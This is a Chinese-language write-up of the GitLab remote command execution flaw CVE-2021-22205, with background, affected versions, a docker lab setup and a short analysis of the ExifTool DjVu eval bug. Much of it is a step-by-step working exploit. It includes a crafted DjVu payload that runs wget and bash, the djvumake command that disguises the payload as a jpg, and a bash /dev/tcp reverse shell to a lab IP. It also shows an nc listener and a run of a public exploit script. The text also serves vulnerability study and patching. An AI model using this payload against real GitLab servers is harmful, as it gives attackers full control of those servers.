GITLAB 远程命令执行漏洞(CVE-2021-22205)

0x01 漏洞背景

GitLab是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。

近日,GitLab发布安全更新公告,修复了GitLab社区版(CE)和企业版(EE)存在一个远程命令执行漏洞,漏洞CVE编号:CVE-2021-22205。攻击者可利用该漏洞在目标服务器上执行任意命令。建议受影响用户将GitLab升级至最新版本进行防护,做好资产自查以及预防工作,以免遭受黑客攻击。

0x02 漏洞描述

该漏洞影响从11.9开始的所有版本,由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令,最终导致Gitlab服务器被控制。

0x03 影响版本

11.9 <= Gitlab CE/EE <= 13.8.7
13.9 <= Gitlab CE/EE <= 13.9.5
13.10 <= Gitlab CE/EE <= 13.10.2

0x04 漏洞环境搭建

docker搭建(需要8G内存,不然访问返回502)

docker run -itd  \
 -p 9980:80 \
 -p 9922:22 \
 -v /usr/local/gitlab-test/etc:/etc/gitlab  \
 -v /usr/local/gitlab-test/log:/var/log/gitlab \
 -v /usr/local/gitlab-test/opt:/var/opt/gitlab \
 --restart always \
 --privileged=true \
 --name gitlab-test \
 gitlab/gitlab-ce:13.10.2-ce.0

安装好之后,首次访问http://ip:9980提示设置管理员密码,由于默认情况下注册用户需要管理员审批,为了方便测试

设置新用户注册之后不需要审批

http://IP:9980/admin/application_settings/general#js-signup-settings

image-20211029102757649

0x05 漏洞分析

  • 当上传图片文件时,Gitlab Workhorse将扩展名为jpg|jpeg|tiff的文件通过ExifTool删除任何非白名单标记。
  • 其中一个支持的格式是DjVu。当解析DjVu注释时,标记被赋值为convert C escape sequences
  • 作者的文章:https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html (详情请看此处)
#convert C escape sequences 出现以下代码
$tok = eval qq{"$tok"};

0x06 漏洞复现

v11版本需要授权登陆或者注册新用户进入后台,新建项目进行上传

v12版本存在未授权,管理员登陆或者注册新用户进入后台,新建项目进行上传

v13版本存在未授权,管理员登陆,默认情况允许注册新用户,但还需要管理员审核后才能进入后台

1.账号注册

首先需要一个Gitlab平台的一个账户及密码(有些公司的Gitlab平台是允许注册的)

image-20211029001614297

2.上传图片

登录后到个人主页,找到Snippets

image-20211029104618494

image-20211029104634275

在Description字段中,点击"Attach a file",上传已经写好命令的图片

image-20211029104744802

3.制作DjVu的exp

此处需要上传DjVu格式图片(即Exp)

apt安装DjVuapt-get install djvulibre-bin -y

DjVu格式图片制作方式如下,准备好将要压缩图片的文本

(metadata
        (Copyright "\
" . qx{wget http://192.168.3.248/1.sh && bash 1.sh}. \
" b ") )

image-20211029105518018

djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg

image-20211029105548703

3.python开启http服务

python3 -m http.server 80

image-20211029110935487

4.新建反弹shell脚本

在桌面上新建1.sh

bash -i >& /dev/tcp/192.168.3.248/9999 0>&1

5.nc监听

nc -lvvp 9999

image-20211029111515784

6.上传exp

image-20211029111443251

7.执行命令

image-20211029111456375

脚本自动化

https://github.com/r0eXpeR/CVE-2021-22205

1.使用nc监听

nc -lvvp 9999

2.运行脚本

python3 CVE-2021-22205.py http://10.108.3.177:9980/ "wget http://192.168.3.248/1.sh && bash 1.sh"

image-20211029110853562

3.成功反弹shell

image-20211029111131793

0x07 参考地址

https://www.cnblogs.com/ybit/p/14918949.html
http://blog.seals6.top/index.php/archives/14/